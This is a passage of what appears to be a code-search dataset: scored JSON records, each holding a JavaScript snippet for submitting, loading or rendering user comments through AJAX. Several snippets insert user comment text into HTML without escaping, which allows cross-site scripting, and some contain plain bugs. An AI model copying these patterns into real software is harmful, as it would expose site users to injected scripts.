{\n\t\t\t\t\tcontainer.prepend(html);\n\t\t\t\t\tcontainer.scrollTop(0);\t\t\n\t\t\t\t} else {\n\t\t\t\t\tcontainer.append(html);\n\t\t\t\t\tcontainer.scrollTop(container[0].scrollHeight);\t\t\n\t\t\t\t}\n\n\t\t\t\tsetTimeout(function(){\n\t\t\t\t\tcontainer.find('.fade').addClass('in');\t\n\t\t\t\t},10);\n\t\t\t\t\n\n\t\t\t\tcheckPlaceholder();\n\t\t\t}", "title": "" }, { "docid": "3c4164f5dd6a538fca8857203d900501", "score": "0.65828174", "text": "function makeCommentFunction(event) {\n event.preventDefault();\n var mediaid = document.querySelector('input[name=\"mediaid\"]').value;\n var comment = document.querySelector('textarea[name=\"comment\"]').value;\n var data = \"mediaid=\" + mediaid + \"&comment=\" + comment;\n console.log(data);\n fetch(\"http://localhost:8080/MetroShare/webresources/media/comment/\", {\n method: 'POST',\n async: false,\n credentials: 'same-origin',\n headers: {\n 'Accept': 'application/json',\n 'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'\n },\n body: data\n }).then(function (response) {\n return response.json();\n }).then(function (j) {\n location.reload();\n });\n}", "title": "" }, { "docid": "e28338e90b870227eb097d2928a2b24d", "score": "0.6576833", "text": "function loadMoreComments(obj, submissionId) {\n $(obj).html(\"Sit tight...\");\n\n // try to see if this request is a subsequent request\n var currentPage = $(\"#comments-\" + submissionId + \"-page\").html();\n if (currentPage == null) {\n currentPage = 1;\n } else {\n currentPage++;\n }\n\n $.ajax({\n url: \"/comments/\" + submissionId + \"/\" + currentPage + \"/\",\n success: function (data) {\n $(\"#comments-\" + submissionId + \"-page\").remove();\n $(obj).before(data);\n $(obj).html(\"load more &#9660;\");\n },\n error: function () {\n $(obj).html(\"That's it. There was nothing else to show. Phew. This was hard.\");\n }\n });\n}", "title": "" }, { "docid": "33c79f000e91592e4604623e321995eb", "score": "0.65705806", "text": "function addSubComment(commId) {\n subCommentContent = $('#reply' + commId).val();\n if (subCommentContent != \"\") {\n let subComment = {\n commentId: commId,\n currDate: date,\n userId: user.Id,\n userName: user.FirstName + \" \" + user.LastName,\n seriesId: seriesId,\n content: subCommentContent,\n profile: userProfile\n }\n console.log(subComment);\n ajaxCall(\"POST\", \"../api/SubComments\", JSON.stringify(subComment), postSCommentSuccess, postSCommentError);\n }\n else {\n sweetAlert(\"Cant send comment...\", \"Content is missing!\", \"error\")\n }\n closeDialog(commId);\n}", "title": "" }, { "docid": "f35af3db1729e00d8dbff653a13c4b2b", "score": "0.6556402", "text": "function loadComments(){\n\t$.post(\"/get_comments\",{recipe: recipestr}, function(comments){\n\t\tvar jsonComments = JSON.parse(comments);\n\t\tpresentComments(jsonComments);\n\t});\n}", "title": "" }, { "docid": "c0f1536fb216a61bfe27e7ac77b40baf", "score": "0.6552447", "text": "function addCommentHandler(response, message_id) {\n if (response.status == 403) {\n alert.displayError(\"You have no permission to execute this action.\");\n return;\n }\n else if (response.status != 200) {\n alert.displayError(\"Failed to add a new Comment.\");\n return;\n }\n\n let responseJSON = JSON.parse(response.responseText);\n let newComment = responseJSON.comment;\n\n let comments = utils.getCommentsDropDown(message_id);\n let commentsSection = comments.firstElementChild;\n\n if (!commentsSection.classList.contains('comment-creator')) {\n commentsSection.firstElementChild\n .firstElementChild.appendChild(utils.createCommentHTML(responseJSON));\n }\n else\n utils.createComments({ 'comments': [newComment], 'is_authenticated': responseJSON.is_authenticated }, message_id);\n\n // Enabling edition of freshly added comments\n editor.enableEditMode(newComment.id);\n\n // Cleaning input text\n let contentSelector = \".new-comment-content[data-message-id='\" + message_id + \"']\";\n document.querySelector(contentSelector).value = \"\";\n}", "title": "" }, { "docid": "6dbfd990c11f3549d55f2298bb2cb2a8", "score": "0.6546439", "text": "function fetchComm(commentTpc){\n //alert(commentTpc);\n $.ajax({\n url: \"Intercom/getCommentInfo\",\n type: 'POST',\n data: {'topicName':commentTpc},\n dataType: 'json',\n success: function(data) {\n //console.log(data);\n $('#ajaxMsg').html(data);\n }\n }); \n}", "title": "" }, { "docid": "d4e16f63f18af9170e7a2c9eb6e89cce", "score": "0.65443766", "text": "function clickToAddComment() {\n let submitComment = document.getElementById('submitComment');\n submitComment.addEventListener(\"click\", function(event) {\n event.preventDefault();\n let comment = {\n message: document.getElementById(\"addComment\").value,\n auteur: JSON.parse(tempoData.getItem(\"user\")).firstname + \" \" + JSON.parse(tempoData.getItem(\"user\")).lastname,\n userId: JSON.parse(tempoData.getItem(\"user\")).userId,\n publication_id: param\n }\n var dataRequest = JSON.stringify(comment);\n sendRequest(\"POST\", \"http://localhost:3000/api/comment\", dataRequest)\n .then(dataComments => {\n location.reload();\n })\n .catch(commentsError => {\n errorView[1].innerHTML = commentsError;\n });\n });\n}", "title": "" }, { "docid": "6015f93e10a270326eb45502b96bc3af", "score": "0.6531326", "text": "async function addComment(e) {\n e.preventDefault();\n const formData = new FormData(this);\n const comment = {\n comment: formData.get('input-comment'),\n score: formData.get('select-score'),\n id_review: REVIEW,\n id_user: SESSION_ID,\n }\n\n try {\n const response = await fetch('api/comments' , {\n method: 'POST',\n headers: {'Content-Type': 'application/json'}, \n body: JSON.stringify(comment)\n });\n if (response.ok) {\n app.error = \"\";\n getComments();\n } else {\n app.error = \"Por favor, ingrese una puntuación del 1 al 5\";\n }\n\n } catch(e) {\n console.log(e);\n }\n}", "title": "" }, { "docid": "3a2a1779005cafb877357cb77f0e0e99", "score": "0.653043", "text": "function refreshCommentsList() {\n $.get(\"/api/simulator/\" + GlobalKeyNames.Simulation + \"/comments\", function(json) {\n var result = \"\";\n json = JSON.parse(json);\n if (json) {\n for (var i = 0; i < json.length; i++) {\n var comment = json[i];\n var displayName = 'Anonymous';\n if (comment.AuthorName) {\n displayName = comment.AuthorName;\n }\n\n var imgDisplay = \"<i class='medium black-text fa fa-user comment-thumb'></i>\";\n if (comment.AuthorImageSrcUrl) {\n imgDisplay = \"<img src='\" + comment.AuthorImageSrcUrl + \"' class='responsive-img comment-thumb'>\"\n }\n\n result += \"<div class='row'>\";\n result += \"<div class='col s10'>\";\n result += \"<div class='card-panel valign-wrapper'>\";\n result += \"<div class='col s3'>\";\n result += \"<div class='center-align'>\";\n result += \"<a href='/user/\" + comment.AuthorID + \"'>\" + imgDisplay + \"</a>\";\n result += \"</div>\";\n result += \"<div class='center-align'>\";\n result += \"<a href='/user/\" + comment.AuthorID + \"'><small>\" + displayName + \"</small></a>\";\n result += \"</div>\";\n result += \"<div class='center-align'>\";\n result += \"<small>\" + comment.PrettyCreationDate + \"</small>\";\n result += \"</div>\";\n result += \"</div>\";\n result += \"<div class='col s9'>\";\n result += \"<span class='black-text'>\";\n result += comment.Contents\n result += \"</span>\";\n result += \"</div>\";\n result += \"</div>\";\n result += \"</div>\";\n result += \"</div>\";\n }\n }\n\n if ((json === null || json.length === 0) && GlobalKeyNames.User === \"\") {\n $(\"#comments-frag\").hide();\n }\n\n $(\"#comments\").html(result);\n $(\"#comment-load-gif\").hide();\n $(\"#comment-contents\").val(\"\");\n })\n .fail(function() {\n $(\"#comment-load-gif\").hide();\n });\n}", "title": "" }, { "docid": "d9994ed14c074e75cbc9d10cc2cb4f24", "score": "0.65298736", "text": "function comment(post_id, user_id, display_name)\n{\n var target_url = '/post/' + post_id + '/comment/';\n var comment_text = $(\"#comment_text_\" + post_id).val();\n // console.log(comment_text);\n if (comment_text !== \"\")\n {\n $.post(target_url,\n {\n comment_text: comment_text\n },\n function(data, status)\n {\n var avatar_url = data;\n var target_user_url = \"/user/\" + user_id;\n $('#comments_section_' + post_id).prepend(\n '<div class=\"comment\">' +\n '<a href=\"' + target_user_url + '\" class=\"avatar\">' +\n '<img src=\"' + avatar_url + '\">' +\n '</a>' +\n '<div class=\"content\">' +\n '<a class=\"author\" href=\"/user/' + user_id + '\">' + display_name + '</a>' +\n '<div class=\"metadata\">' +\n '<span class=\"date\">Just now</span>' +\n '</div>' +\n '<div class=\"text\">' +\n comment_text +\n '</div>' +\n '</div>' +\n '</div>'\n );\n var comments_count_element = $(\"#comments_count_\" + post_id);\n var comments_count = parseInt(comments_count_element.text()) + 1;\n comments_count_element.text(comments_count);\n comment_text = $(\"#comment_text_\" + post_id).val(\"\")\n return false;\n }\n );\n }\n}", "title": "" }, { "docid": "75c5a99b45a62fcc7adea365fe835a66", "score": "0.6526613", "text": "function afficher_plus(id){\n\tevent.preventDefault();\n\tvar divbutton = \"#btnloadmore\" + id;\n\tvar lastcomment = $('#comment' + id + ' .comment').length;\n\tvar dataString = 'post_id=' + id + '&lastcomment=' + lastcomment + '&loadmore=true';\n\t$.ajax({\n\t\ttype: 'POST',\n\t\turl: '/app/ajax/comment-request.php',\n\t\tdata: dataString,\n\t\tsuccess: function(msg) {\n\t\t\t$(msg).insertBefore(divbutton).slideDown();\n\t\t\t$(divbutton).remove();\n\t\t\temojify.run();\n\t\t\tlinktohref();\n\t\t\t$(\"time.timeago\").timeago();\n\t\t}\n\t});\n}", "title": "" }, { "docid": "d43c2b8bd4b48ad108b8ea699b13cca7", "score": "0.65248156", "text": "function post_comment(quoteId) {\n if (userId) {\n // get the details of the comment from the textarea\n var comment = $(\"#comment\").val();\n if (comment.length == 0) {\n $(\"#comment\").css(\"border-bottom\", \"1px solid red\");\n fade_in();\n $(\".notifs_message\").text(\"Comment field cannot be empty\");\n } else {\n // make ajax call to test if user has liked quote before\n $.post(\"includes/handlers/ajax/postComment.php\", { quoteId: quoteId, userId: userId, comment: comment }, function (data) {\n // console.log(data);\n if (data) {\n $(\"#commentSection\").append(data);\n fade_in();\n $(\".notifs_message\").text(\"Your comment has been posted, thanks for sharing\");\n $(\"#comment\").val(\"\");\n }\n })\n }\n } else {\n fade_in();\n $(\".notifs_message\").html(\"You need to <a class='blue' href='signIn.php'> log in </a> to do that\");\n }\n}", "title": "" }, { "docid": "9e04b7bf0ef40b5a6df2d6c9bccc2145", "score": "0.6509947", "text": "function AjaxCommentsLoad() {\n\t$body = (window.opera) ? (document.compatMode == \"CSS1Compat\" ? $(\"html\") : $(\"body\")) : $(\"html,body\");\n\t$(\"#commentnav a\").click(function() {\n\t\tvar wpurl = $(this).attr(\"href\").split(/(\\?|&)yefengs=GetComments.*$/)[0];\n\t\tvar commentPage = 1;\n\t\tif (/comment-page-/i.test(wpurl)) {\n\t\t\tcommentPage = wpurl.split(/comment-page-/i)[1].split(/(\\/|#|&).*$/)[0]\n\t\t} else if (/cpage=/i.test(wpurl)) {\n\t\t\tcommentPage = wpurl.split(/cpage=/)[1].split(/(\\/|#|&).*$/)[0]\n\t\t};\n\t\tvar postId = $(\"#comments-title\").attr(\"post-id\");\n\t\tvar url = wpurl.split(/#.*$/)[0];\n\t\turl += /\\?/i.test(wpurl) ? \"&\": \"?\";\n\t\turl += \"yefengs=GetComments&post=\" + postId + \"&page=\" + commentPage;\n\t\t$.ajax({\n\t\t\turl: url,\n\t\t\ttype: \"GET\",\n\t\t\tbeforeSend: function() {\n\t\t\t\t$(\".comment-list\").css({\n\t\t\t\t\tcursor: \"wait\"\n\t\t\t\t});\n\t\t\t\tvar C = 0.6;\n\t\t\t\t$(\".comment-list\").css({\n\t\t\t\t\topacity: C,\n\t\t\t\t\tMozOpacity: C,\n\t\t\t\t\tKhtmlOpacity: C,\n\t\t\t\t\tfilter: \"alpha(opacity=\" + C * 100 + \")\"\n\t\t\t\t});\n\t\t\t\tvar loading = '<div id=\"comment-loading\">拼命加载...</div>';\n\t\t\t\t$(\"#commentnav\").html(loading)\n\t\t\t},\n\t\t\terror: function(jqXHR, textStatus) {\n\t\t\t\twindow.location.href = $(this).attr(\"href\")\n\t\t\t},\n\t\t\tsuccess: function(data) {\n\t\t\t\t$(\".comment-list\").remove();\n\t\t\t\t$(\"#commentnav\").remove();\n\t\t\t\t$(\"#loadmark\").after(data);\n\t\t\t\tvar C = 1;\n\t\t\t\t$(\".comment-list\").css({\n\t\t\t\t\topacity: C,\n\t\t\t\t\tMozOpacity: C,\n\t\t\t\t\tKhtmlOpacity: C,\n\t\t\t\t\tfilter: 'alpha(opacity=' + C * 100 + ')'\n\t\t\t\t});\n\t\t\t\t$(\"#comment-loading\").remove();\n\t\t\t\t$(\".comment-list\").css({\n\t\t\t\t\tcursor: \"auto\"\n\t\t\t\t});\n\t\t\t\t$body.animate({\n\t\t\t\t\tscrollTop: $(\"#loadmark\").offset().top + -80\n\t\t\t\t},\n\t\t\t\t400);\n\t\t\t\tAjaxCommentsLoad()\n\t\t\t}\n\t\t});\n\t\treturn false;\n\t});\n}", "title": "" }, { "docid": "c7f0daa8169d789c13308eafcb706094", "score": "0.6505176", "text": "function addCommentHandler(postToCommentOn, commentBox) {\n // get comment value\n var comment = commentBox.val();\n\n // if empty string, don't execute further\n if (comment == '') { return }\n\n // if not empty string, execute ajax POST \n $.ajax({\n url: `/api/post/${postToCommentOn}/comment/create`,\n method: \"POST\",\n data: {\n comment: comment\n },\n success: (data, status) => {\n renderComment(data); \n scrollToBottom(); \n resetCommentBox(commentBox);\n },\n error: () => {\n console.log('error submitting comment.');\n }\n });\n}", "title": "" }, { "docid": "9692f11976dbdc4c4b9b3069d8b9922c", "score": "0.64902586", "text": "function addSearchGameComment() {\n\n var comments = new Object();\n\n comments.username = document.getElementById(\"profileName\").innerHTML = username; // Value from HTML input text\n comments.comment = document.getElementById(\"userComments\").value; // Value from HTML input text\n comments.username_id = document.getElementById(\"profileId\").innerHTML = id; // Value from HTML input text \n comments.game_id = game_array[currentIndex].game_id; // game ID is required by server to create new comment \n\n var postComment = new XMLHttpRequest(); // new HttpRequest instance to send comment\n postComment.open(\"POST\", comment_url, true); //Use the HTTP POST method to send data to server\n postComment.setRequestHeader(\"Content-Type\", \"application/json\");\n postComment.onload = function () {\n fetchComments(); // fetch all comments again so that the web page can have updated comments.\n };\n // Convert the data in Comment object to JSON format before sending to the server.\n postComment.send(JSON.stringify(comments));\n}", "title": "" }, { "docid": "0b828de9c55af19bcbb1fe7d87846d05", "score": "0.6475944", "text": "function add_comment(city_id){\r\n var name=document.getElementByName(\"name1\").value();\r\n var comment=document.getElementByName(\"comment1\").value();\r\n\r\n $.post('insert_comment_into_db.php',{\r\n name:name,\r\n comment:comment,\r\n city_id:city_id,\r\n }).done(function(data) {\r\n alert (\"Data loaded\");\r\n }); \r\n\r\n}", "title": "" }, { "docid": "a691717b1e52ab81b4bcea54804956b6", "score": "0.6465841", "text": "edit(event) {\n let xhr = event.detail[2];\n let currentComment = event.target.parentElement;\n let newComment = currentComment.cloneNode(true);\n\n currentComment.style.display = 'none';\n newComment.innerHTML = xhr.response.trim();\n this.commentListTarget.insertBefore(newComment, currentComment);\n }", "title": "" }, { "docid": "9cc11f94202ccc137c031a2df6a83d2a", "score": "0.64584666", "text": "function commentContent(post_id, capsule_id, content_type)\n\t{\n\t\t$.ajax({\n\t\t\ttype: \"POST\",\n\t\t\turl: site_url + \"capsule/commentContent\",\n\t\t\tdata: \"post_id=\"+post_id+\"&capsule_id=\"+capsule_id+\"&content_type=\"+content_type,\n\t\t\tsuccess: function (data){ \n\t\t\t\tvar comment_content = $.parseJSON(data);\n\t\t\t\t$(\".comment-list-wrapper\").html(comment_content.html);\n\t\t\t}\n\t\t});\t\n\t} // end of capsuleContent function", "title": "" }, { "docid": "f7279ddfa006aebdc8bdbd685358509a", "score": "0.6457728", "text": "function distinguish(commentId, obj) {\n $(obj).html(\"please wait...\");\n\n $.ajax({\n type: \"POST\",\n url: \"/comments/distinguish/\" + commentId,\n success: function () {\n $(obj).html(\"done\");\n\n // TODO: find the comment and add class \"moderator\" to give better distinguish feedback\n },\n error: function () {\n $(obj).html(\"unable to comply\");\n }\n });\n}", "title": "" }, { "docid": "eb24d557f9a303f5ab692f51a15d567f", "score": "0.6455206", "text": "function getComments() {\n $.ajax({\n method: \"GET\",\n url: `${baseURL}/api/resources/comments`\n }).done((commentData) => {\n renderComments(commentData);\n })\n .fail(() => {\n alert(\"Error: comments not rendering properly!\");\n })\n }", "title": "" }, { "docid": "b69ae8f2f37ef70e28055e508ced0ef9", "score": "0.64514774", "text": "function load_comments() {\n var report_id = $('#phl-report-id').text();\n $.get('/shift/view/' + report_id + '?json=true', function(data) {\n var comment_timestamps = [];\n $(\".phl-comment-created\").each(function(i) {\n comment_timestamps.push($(this).text());\n });\n for (icomment in data.report.comments) {\n if ($.inArray(data.report.comments[icomment].created, comment_timestamps) == -1) {\n $.get('/shift/comment/' + data.report._id + '/' + icomment + '?json=true',\n function(data, textStatus, jqXHR) {\n $('#phl-comment-list').append($(data.html));\n toastr.info('<i>' + data.text.substring(0, 20) + '...</i>', '<strong>' + data.name + '</strong> posted a new comment');\n })\n .fail(function(e) {\n toastr.warning('Failed to fetch new comment', 'Warning');\n });\n }\n }\n })\n .fail(function(e) {\n toastr.error('Failed to check report in database', 'Error');\n });\n}", "title": "" }, { "docid": "762c61b3d7b98eccb31dd523c2d7e531", "score": "0.64498264", "text": "function addCommentToPO(){\n var order_final_inspection = $('#order_final_inspection').val();\n $.ajax({\n url: '../UpdatePHP/updatePOComment.php',\n type: \"POST\",\n data:{\n order_final_inspection : order_final_inspection\n },\n success: function(data, status, xhr) {\n window.location.reload();\n }\n });\n}", "title": "" }, { "docid": "5b79d2479f6389540aac59a84a7c310c", "score": "0.64467144", "text": "function submitComment (e) {\n e.preventDefault();\n let newBody = $('#new-comment-body').val().trim();\n let newCommentor = $('#new-comment-commentor').val().trim();\n let newArticleId = $(this).attr('data-id');\n if (newBody.length < 1 || newCommentor.length < 1) {\n showWarning('Must enter a comment and your name');\n } \n else {\n clearWarning();\n let newComment = {\n body: newBody,\n commentor: newCommentor,\n article_id: newArticleId\n }\n // console.log(newComment);\n $\n .post({\n url: '/add/Comment',\n data: newComment\n })\n .then( (dbComment) => {\n // let $p = $('<p>');\n // $p.text( JSON.stringify(dbComment));\n // $comments.append( $p );\n populateArticleList()\n $comments.modal('hide');\n });\n }\n }", "title": "" }, { "docid": "fa8f490224df12c2f488e38c9842e594", "score": "0.64441115", "text": "function get_book_comment(email, title, author) {\n\n $.ajax({\n url: \"get_book_comment\",\n method: \"POST\",\n dataType: \"json\",\n data: {\n email: $(\"#\" + email).text(),\n title: $(\"#\" + title).text(),\n author: $(\"#\" + author).text()\n },\n success: function(data) {\n var $container = $(\"<section>\", {id: \"container\", class: \"logged-in-menu-item\"});\n var $title = $(\"<h2>\", {class: \"sectiontitle\", text: \"Comments\"});\n $container.append($title);\n if (!data.email){\n for (var i = 0; i < data.length; i++) {\n var $from = $(\"<h3>\", {\n text: \"From :\" + data[i].user\n });\n\n var $time = $(\"<h4>\", {\n text: \"Time: \" + data[i].time\n });\n\n var $comment = $(\"<p>\", {\n text: \"Comment: \" + checkNull(data[i].comments)\n });\n $container.append($from);\n $container.append($time);\n $container.append($comment);\n $container.append(\"<hr>\");\n }\n } else {\n $no_comment = $(\"<p>\", {\n text: \"Be the first one to comment!\"\n });\n $container.append($no_comment);\n }\n\n var $comment_area = $(\"<textarea>\", {\n rows: \"10\",\n column: \"79\",\n name: \"comment_book\"\n });\n\n var $comment_button = $(\"<button>\", {\n text: \"Submit!\",\n id: \"submit-comment\"\n });\n\n var $comment_form = $(\"<form>\", {\n id: \"user_comment\"\n });\n\n $comment_form.click(function() {\n var email, bookTitle, bookAuthor;\n if (!data.email) {\n email = data[0].email,\n bookTitle = data[0].title,\n bookAuthor = data[0].author\n } else {\n email = data.email,\n bookTitle = data.title,\n bookAuthor = data.author\n }\n var $userComment = $comment_area.val();\n\n postBookComment(email,bookTitle, bookAuthor, $userComment);\n\n });\n\n $comment_form.append($comment_area);\n $comment_form.append($comment_button);\n $container.append($comment_form);\n $container.insertBefore($(\"footer\"));\n\n }\n });\n}", "title": "" }, { "docid": "a3453ce977d2168f2052d824b98f2fcc", "score": "0.64291126", "text": "async function submitComment(event){\n event.preventDefault()\n\n let news_id, comment_id, username, text\n let inputs = document.querySelectorAll('#comments form input')\n news_id = inputs[1].value\n username = inputs[0].value\n text = document.querySelector('#comments form textarea').value\n\n let comments = document.querySelectorAll('article .comment')\n\n if (comments.length > 0) {\n comment_id = comments[comments.length -1].childNodes[1].textContent\n }\n\n console.log(username,'\\n',news_id,'\\n',comment_id,'\\n',text)\n\n\n let request = new XMLHttpRequest()\n request.addEventListener(\"load\", receiveComments)\n\n request.open(\"post\", \"api_add_comment.php\", async)\n request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')\n request.send(encodeForAjax({news_id : news_id, comment_id:comment_id, username:username, text:text}))\n}", "title": "" }, { "docid": "33ff5c265c24cdd849c66c7455b5289e", "score": "0.6428347", "text": "function loadContent(url) {\n var params = {\n url: encodeURIComponent(url),\n isPrivate: privateFeed\n };\n\n // if sorting by favorites:\n if (sortByFaves) {\n tracking.commentOffset = 0;\n params.orderByHearts = 'DESC';\n params.commentOffset = tracking.commentOffset;\n }\n\n // if sorting by replies:\n if (sortByReplies) {\n tracking.commentOffset = 0;\n params.orderByReplies = 'DESC';\n params.commentOffset = tracking.commentOffset;\n }\n\n var paramString = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n paramString.push(key + '=' + params[key]);\n }\n }\n\n paramString = paramString.join('&');\n var apiURL = settings.server + \"/api/comments?\" + paramString;\n\n toggleSpinner();\n\n var request = $.ajax({\n url: apiURL,\n method: \"GET\",\n contentType: \"application/json\",\n });\n\n request.success(function(msg) {\n\n // set notification alert if we have any new replies or favs on comments\n if (msg.userInfo.heartsToCheck > 0 ||\n msg.userInfo.repliesToCheck > 0) {\n setNotifications(msg.userInfo.heartsToCheck, msg.userInfo.repliesToCheck);\n } else {\n setNotifications(null, null);\n }\n\n tracking.requestReturned = true;\n if (msg.comments.length > 0) {\n tracking.mainLastComment.id = msg.comments[msg.comments.length - 1].id;\n }\n\n // We load 25 comments per request, so if we loaded less than\n // this amount (including 0), we've finished loading all the comments.\n if (msg.comments.length < 25) {\n tracking.mainLastComment.endOfComments = true;\n } else {\n tracking.mainLastComment.endOfComments = false;\n }\n\n if (sortByFaves || sortByReplies) {\n tracking.commentOffset += msg.comments.length;\n }\n\n // clean the DOM\n $(\".cd-panel-content\").html('');\n // compile and append new comments\n\n var html = compileComments(msg);\n\n\n $(\".cd-panel-content\").append(html);\n registerCommentEventListeners();\n\n });\n\n request.fail(function(jqXHR, textStatus) {\n console.log(\"Request failed: \", jqXHR.status, textStatus);\n });\n\n request.complete(function(jqXHR, textStatus) {\n toggleSpinner();\n if (jqXHR.status === 401) {\n loginButtons(true);\n } else {\n loginButtons(false);\n }\n });\n\n}", "title": "" }, { "docid": "3f4ec78e14d0c67c3671a45864d5381d", "score": "0.64211875", "text": "function displayDashboardCommentsForEvents(dashBoardComponentId){\r\n\tvar jsObj={\r\n\t\tdashBoardComponentId:dashBoardComponentId\r\n\t}\t\r\n\t$.ajax({\r\n\t type: \"POST\",\r\n\t url: \"displayDashboardCommentsAction.action\",\r\n\t data: {task :JSON.stringify(jsObj)}\r\n\t}).done(function(result){\r\n\t\tif(result != null && result.length >0){\r\n\t\t var str=''; \r\n\t\t\t \r\n\t\t str+='<ul class=\"notesUlEvents m_top20\" style=\"text-transform: none;font-weight: normal;font-size: 14px;\">'; \t\r\n\t\t\tfor(var i in result){ \r\n\t\t\t\tstr+='<li style=\"margin-top:3px;\">'; \r\n\t\t\t\tstr+='<span class=\"notesTextEvents\" id=\"editTextEventsId'+i+'\" attr_commentId=\"'+result[i].dashBoardCommentId+'\">'+result[i].comment+' </span>- <span class=\"text-muted\"><i>'+result[i].insertedTime+'</i></span>';\r\n\t\t\t\tstr+='<i class=\"glyphicon glyphicon-trash pull-right hoverBlock deleteNotesEvents\" attr_cmt_id=\"editTextEventsId'+i+'\" id=\"'+result[i].dashBoardCommentId+'\" onClick=\"deleteDashBoardcomments(this.id);\"></i>';\r\n\t\t\t\tstr+='<i class=\"glyphicon glyphicon-edit pull-right hoverBlock editNotesEvents\" attr_cmt_id=\"editTextEventsId'+i+'\" attr_comment=\"'+result[i].comment+'\"></i>';\r\n\t\t\t\tstr+='</li>';\r\n\t\t\t}\r\n\t\tstr+='</ul>';\r\n\t\t\t\r\n\t\t\t$(\"#notesEventsId\").html(str);\t \r\n\t\t}\r\n\t});\r\n}", "title": "" }, { "docid": "2f6dbd7c99c782bd72522b03bfd34caa", "score": "0.6420372", "text": "function getComments(article_id) {\n $.ajax({\n url: urlToCall + \"article/Comments?id=\" + article_id,\n success: function(response) {\n // console.log(response);\n var comentsLength = response.length;\n var comments = \"\";\n \n for (var i = 0; i < response.length; i++) {\n \n comments += '<div class=\"row comment-post\">' +\n '<div class=\"col-sm-2\"><img alt=\"\" src=\"http://2.gravatar.com/avatar/298bedc2b8fd96a22fd0bee3733ad9b5?s=130&amp;d=mm&amp;r=g\" class=\"avatar avatar-130 photo\" height=\"130\" width=\"130\"></div>' +\n '<div class=\"col-sm-10\"> <h2 class=\"comment-username\">' + response[i].name + '</h2>' +\n '<span>' + response[i].creation_date + '</span>' +\n '<p class=\"comment-body\">' + response[i].comment + '</p></div>' +\n '</div><hr>';\n }\n \n $('.comments-list').html(comments);\n $('.comments-nr').append(comentsLength);\n $('.article-category').append(\" Uncategorized\");\n\n }\n })\n}", "title": "" }, { "docid": "fd941a078c9ac84a3a76d1b7a4e0f95d", "score": "0.6419514", "text": "function ajaxVoteComment () {\n\n let id = $(this).attr('id')\n let $container = $(this).parent()\n let $error = $container.parent().next()\n let $counter = $container.find('#comments-like-counter')\n let commentId = $(this).attr('data-comment')\n\n const voted = yo`<span id=\"new-card-liked\" data-comment=\"${commentId}\" class=\"Noticias_comentarios_card-feedback-like-icon-liked\"></span>`\n const unVoted = yo`<span id=\"new-card\" data-comment=\"${commentId}\" class=\"Noticias_comentarios_card-feedback-like-icon\"></span>`\n\n let operation, $hide, $show\n\n if (id === 'new-card') {\n $hide = $(this)\n $show = voted\n operation = 1\n\n } else if (id === 'new-card-liked') {\n $hide = $(this)\n $show = unVoted\n operation = -1\n }\n\n $hide.remove()\n\n $.post(`/api/comment-like/${commentId}`, (data) => {\n // If there is Error on the reply\n if (data.indexOf('Error') !== -1)\n return commentErrorHandler($error, $hide, $container)\n\n $container.prepend($show)\n $counter.html(Number(data) + Number(operation))\n })\n //handles error. Logs error and reset previus icon. Insert fb message and then removes it\n .fail((response) => {\n // console.log(response.responseText)\n commentErrorHandler($error, $hide, $container)\n })\n}", "title": "" }, { "docid": "499322eb08b6fd6aba436da448fdb6dd", "score": "0.6417407", "text": "function postComment(btn, postId){\n\t/*\n\t\tmake ajax call\n\t*/\n\t/*\n\t\t.done is a function which runs when ajax call is completed\n\n\t\treturn from ajax will be store in data variable \n\t*/\n\tvar button = $(btn);\n\n\tvar comment = button.siblings('textarea').val();\n\tbutton.siblings('textarea').val(\"\");\n\n\n\t/*\n\t siblings function selects siblings\n\n\t*/\n\t$.post(\"ajax/makeComment.php\", {sendViaPostMethod :comment, postId :postId}).done(function(data){\n\t\t$(button).parent('.post-comment').siblings('.load-comments').prepend(data);\n\n\t});\n\t/*$.post(\"ajax/test.php\" ,{sendComment : comment ,postid:postId}).done(function(data){\n\t\talert(data);//achha\n\t});*/\n}", "title": "" }, { "docid": "60062a2c8b43a9b6d43343a0e43311f3", "score": "0.6412968", "text": "function insert_comment_in_page(comment)\r\n{\r\n // Get a html clone for a new comment card\r\n cmtSkeleton = $(\".sample-card\").clone();\r\n\r\n // Insert the content for the new comment\r\n cmtSkeleton.find(\".comment-username\").text(comment[\"User.Username\"]);\r\n cmtSkeleton.find(\".comment-body\").text(comment.Body);\r\n cmtSkeleton.find(\".comment-date\").text(comment.CreateTime);\r\n\r\n // Remove display-none\r\n cmtSkeleton.removeClass(\"sample-card d-none\");\r\n\r\n // Insert the new comment to the page\r\n cmtSkeleton.insertAfter(\".post-card\");\r\n}", "title": "" }, { "docid": "0ef86c7fd76faf999020632eafe77c8b", "score": "0.6405388", "text": "function appendComment(user, value, picture, all) {\n $(\".emptyCommentState\").hide();\n $(\"#commentsBody\").append('<div class=\"commentGroup temporaryComment\"><div class=\"d-flex flex-nowrap align-items-center\"><div class=\"thumbnail align-self-start\"><img src='+picture+'></div><div class=\"chatBubble\"><strong>'+user+'</strong> '+value+' </div><div class=\"likeButton\"><a href=\"#\"><i class=\"fa fa-heart\"></i> 0</a></div></div><div class=\"commentDetails d-flex justify-content-start align-items-center\"><small class=\"mb-0\">Now</small></div></div>');\n //Show reply button if user is not in reply mode\n if ($(\"#topNav\").hasClass(\"replying\") || $(\"#topNav\").hasClass(\"replyingPrivate\")) {\n $(\".commentDetails\").children().hide();\n }\n $(\".containerComments\").scrollTop($(\".containerComments\")[0].scrollHeight); //Scroll to bottom of window\n $(\"#newComment\").val(\"\"); //Clear textarea\n autosize.update($(\"#newComment\")); //Set height of comment input back to 1\n $('[data-toggle=\"tooltip\"]').tooltip(); //Enable tooltip\n scrollable($(\"#commentsBody\")); //Make container scrollable if enough comments are posted\n //Convert all urls into links\n $('p').linkify();\n $(\"body\").linkify({\n target: \"_blank\"\n });\n}", "title": "" }, { "docid": "07b78244f02010909a652db0695dbf88", "score": "0.6403024", "text": "function deleteComment(){\n\n\tvar query = '?number=' + init ;\n\t$.get(currentURL + \"/deletecomment\"+ query, function(data){\n\n\t\tvar ul = $('<ul>');\n\t\tfor(var i = 0 ; i < (data.length - 1) ; i++){\n\t\t\tul.append('<li>'+ data[i].body + '</li>');\n\t\t}\n\t\t$('#comments').html(ul);\n\t});\n}", "title": "" }, { "docid": "31ae8368ced9b5238680df8e5dd02f06", "score": "0.6401555", "text": "function postComment(){\n\t\tvar xhr = new XMLHttpRequest();\n\t\tvar name = document.getElementById(\"name\").value;\n\t\tvar comment = 